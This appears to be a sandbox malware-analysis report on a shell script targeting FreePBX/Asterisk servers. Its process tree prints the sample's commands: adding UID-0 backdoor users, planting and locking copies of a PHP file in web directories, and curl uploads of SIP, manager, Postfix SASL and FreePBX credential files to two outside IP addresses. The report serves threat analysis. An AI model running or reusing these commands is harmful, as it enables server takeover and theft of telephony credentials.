Analysis

  • max time kernel
    54s
  • max time network
    55s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/07/2026, 13:20

General

  • Target
    k.php.sh
  • Size 48KB
  • Sample260730-qlgrhaswfs
  • SHA256 2ec961162dd43e87b68abf63977c983d5c4a8dcd77caa399faa72914734d022b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies password files for system users/ groups 1 TTPs 8 IoCs

    Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • OS Credential Dumping 1 TTPs 2 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Adds a user to the system 4 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 9 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 34 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/k.php.sh
    /tmp/k.php.sh
    1⤵
    • Writes file to tmp directory
    PID:643
    • /bin/cp
      cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
      2⤵
      • Reads runtime system information
      PID:653
    • /bin/bash
      bash
      2⤵
        PID:664
        • /usr/sbin/useradd
          useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
          3⤵
          • Modifies password files for system users/ groups
          • OS Credential Dumping
          • Adds a user to the system
          PID:669
          • /usr/sbin/nscd
            nscd -i passwd
            4⤵
              PID:673
            • /usr/sbin/nscd
              nscd -i group
              4⤵
                PID:674
              • /usr/sbin/nscd
                nscd -i passwd
                4⤵
                  PID:676
                • /usr/sbin/nscd
                  nscd -i group
                  4⤵
                    PID:678
              • /usr/bin/base64
                base64 -d
                2⤵
                • Deobfuscate/Decode Files or Information
                PID:663
              • /usr/bin/base64
                base64 -d
                2⤵
                • Deobfuscate/Decode Files or Information
                PID:680
              • /bin/bash
                bash
                2⤵
                  PID:681
                  • /usr/sbin/useradd
                    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
                    3⤵
                    • Modifies password files for system users/ groups
                    • OS Credential Dumping
                    • Adds a user to the system
                    PID:682
                    • /usr/sbin/nscd
                      nscd -i passwd
                      4⤵
                        PID:684
                      • /usr/sbin/nscd
                        nscd -i group
                        4⤵
                          PID:685
                        • /usr/sbin/nscd
                          nscd -i passwd
                          4⤵
                            PID:686
                          • /usr/sbin/nscd
                            nscd -i group
                            4⤵
                              PID:687
                        • /usr/bin/base64
                          base64 -d
                          2⤵
                          • Deobfuscate/Decode Files or Information
                          PID:689
                        • /bin/bash
                          bash
                          2⤵
                            PID:690
                            • /usr/sbin/useradd
                              useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
                              3⤵
                              • Adds a user to the system
                              PID:691
                          • /bin/bash
                            bash
                            2⤵
                              PID:695
                              • /usr/sbin/useradd
                                useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
                                3⤵
                                • Adds a user to the system
                                • Reads runtime system information
                                PID:696
                            • /usr/bin/base64
                              base64 -d
                              2⤵
                              • Deobfuscate/Decode Files or Information
                              PID:694
                            • /bin/mkdir
                              mkdir -p /var/www/html/rest_phones/
                              2⤵
                              • Reads runtime system information
                              PID:697
                            • /bin/mkdir
                              mkdir -p /var/www/html/admin/modules/h/
                              2⤵
                              • Reads runtime system information
                              PID:698
                            • /bin/mkdir
                              mkdir -p /var/www/html/admin/modules/fpbxphones/
                              2⤵
                              • Reads runtime system information
                              PID:699
                            • /bin/mkdir
                              mkdir -p /var/www/html/admin/modules/phones/
                              2⤵
                                PID:700
                              • /bin/cp
                                cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
                                2⤵
                                  PID:701
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:702
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:703
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:704
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:705
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:706
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:707
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
                                  2⤵
                                  • Reads runtime system information
                                  PID:708
                                • /bin/cp
                                  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
                                  2⤵
                                    PID:709
                                  • /bin/cp
                                    cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
                                    2⤵
                                      PID:710
                                    • /bin/cp
                                      cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
                                      2⤵
                                      • Reads runtime system information
                                      PID:711
                                    • /usr/bin/touch
                                      touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
                                      2⤵
                                        PID:712
                                      • /bin/chmod
                                        chmod +x /var/www/html/admin/views/ajax.php
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:715
                                      • /usr/bin/chattr
                                        chattr +i /var/www/html/admin/views/ajax.php
                                        2⤵
                                          PID:716
                                        • /usr/bin/chattr
                                          chattr +a /var/www/html/admin/views/ajax.php
                                          2⤵
                                            PID:717
                                          • /usr/bin/chattr
                                            chattr +i /var/www/html/h.php
                                            2⤵
                                              PID:718
                                            • /usr/bin/chattr
                                              chattr +a /var/www/html/h.php
                                              2⤵
                                                PID:719
                                              • /usr/bin/base64
                                                base64 -d
                                                2⤵
                                                • Deobfuscate/Decode Files or Information
                                                PID:721
                                              • /bin/bash
                                                bash /tmp/test.sh
                                                2⤵
                                                  PID:722
                                                  • /bin/ls
                                                    ls -la
                                                    3⤵
                                                      PID:725
                                                    • /bin/cat
                                                      cat /etc/passwd
                                                      3⤵
                                                        PID:726
                                                      • /bin/ls
                                                        ls -ls /home
                                                        3⤵
                                                          PID:727
                                                        • /bin/mkdir
                                                          mkdir -p /var/www/html/admin/modules/freepbx_ha/
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:728
                                                        • /bin/mv
                                                          mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:729
                                                        • /usr/bin/base64
                                                          base64 -d
                                                          3⤵
                                                          • Deobfuscate/Decode Files or Information
                                                          PID:731
                                                        • /bin/rm
                                                          rm -f /var/www/html/admin/modules/freepbx_ha/license.php
                                                          3⤵
                                                            PID:732
                                                          • /bin/mv
                                                            mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:733
                                                          • /bin/ls
                                                            ls -la
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:734
                                                          • /usr/bin/base64
                                                            base64 -d
                                                            3⤵
                                                            • Deobfuscate/Decode Files or Information
                                                            PID:736
                                                          • /bin/ls
                                                            ls -la
                                                            3⤵
                                                              PID:737
                                                            • /bin/cat
                                                              cat /etc/passwd
                                                              3⤵
                                                                PID:738
                                                              • /bin/ls
                                                                ls -ls /home
                                                                3⤵
                                                                • Reads runtime system information
                                                                PID:739
                                                            • /bin/rm
                                                              rm -rf /tmp/test.sh
                                                              2⤵
                                                                PID:740
                                                              • /bin/bash
                                                                bash /var/spool/asterisk/tmp/test.sh
                                                                2⤵
                                                                  PID:743
                                                                • /bin/rm
                                                                  rm -rf /var/spool/asterisk/tmp/test.sh
                                                                  2⤵
                                                                    PID:744
                                                                  • /usr/bin/base64
                                                                    base64 -d
                                                                    2⤵
                                                                    • Deobfuscate/Decode Files or Information
                                                                    PID:747
                                                                  • /bin/bash
                                                                    bash
                                                                    2⤵
                                                                      PID:749
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • System Network Configuration Discovery
                                                                        PID:751
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:761
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        PID:769
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:777
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:790
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:797
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:799
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:800
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        PID:801
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        PID:835
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        PID:836
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:837
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:838
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:839
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        PID:840
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        PID:841
                                                                      • /usr/bin/curl
                                                                        curl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 15
                                                                        3⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        PID:842
                                                                    • /usr/bin/base64
                                                                      base64 -d
                                                                      2⤵
                                                                      • Deobfuscate/Decode Files or Information
                                                                      PID:844
                                                                    • /bin/bash
                                                                      bash
                                                                      2⤵
                                                                        PID:845
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          • System Network Configuration Discovery
                                                                          PID:846
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          • System Network Configuration Discovery
                                                                          PID:854
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          PID:855
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          • System Network Configuration Discovery
                                                                          PID:856
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • System Network Configuration Discovery
                                                                          PID:857
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          • System Network Configuration Discovery
                                                                          PID:858
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          • System Network Configuration Discovery
                                                                          PID:859
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          • System Network Configuration Discovery
                                                                          PID:862
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          PID:863
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          PID:864
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          PID:865
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • System Network Configuration Discovery
                                                                          PID:866
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          • System Network Configuration Discovery
                                                                          PID:867
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          • System Network Configuration Discovery
                                                                          PID:868
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          PID:869
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          PID:870
                                                                        • /usr/bin/curl
                                                                          curl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 15
                                                                          3⤵
                                                                          • Checks CPU configuration
                                                                          • Reads runtime system information
                                                                          PID:871

                                                                    Network

                                                                          MITRE ATT&CK Enterprise v16

                                                                          Replay Monitor

                                                                          Loading Replay Monitor...

                                                                          Downloads

                                                                          passwd+

                                                                          • Path /etc/passwd+
                                                                          • Size 1KB
                                                                          • SHA256 7804a9bf801c95d7fc06aa3f9fc86d79c830ab728773e47c97039ae10503e411
                                                                          • MD5 SHA1 SHA512 TLSH

                                                                          passwd+

                                                                          • Path /etc/passwd+
                                                                          • Size 1KB
                                                                          • SHA256 1a9fa1774e7cef8530dada15004b2ca577ec490967c73215576c462845d0b3dc
                                                                          • MD5 SHA1 SHA512 TLSH

                                                                          shadow+

                                                                          • Path /etc/shadow+
                                                                          • Size 949B
                                                                          • SHA256 0bc95deaf636031b883335796bc737c19a72e25cd241ab06155c3f1248d351c1
                                                                          • MD5 SHA1 SHA512 TLSH

                                                                          shadow+

                                                                          • Path /etc/shadow+
                                                                          • Size 909B
                                                                          • SHA256 f6d90c4cb8273b533c250fa03ec4695404b5f19d986ad861c080452755881d7f
                                                                          • MD5 SHA1 SHA512 TLSH

                                                                          subuid+

                                                                          • Path /etc/subuid+
                                                                          • Size 59B
                                                                          • SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
                                                                          • MD5 SHA1 SHA512 TLSH

                                                                          subuid+

                                                                          • Path /etc/subuid+
                                                                          • Size 39B
                                                                          • SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
                                                                          • MD5 SHA1 SHA512

                                                                          test.sh

                                                                          • Path /tmp/test.sh
                                                                          • Size 12KB
                                                                          • SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH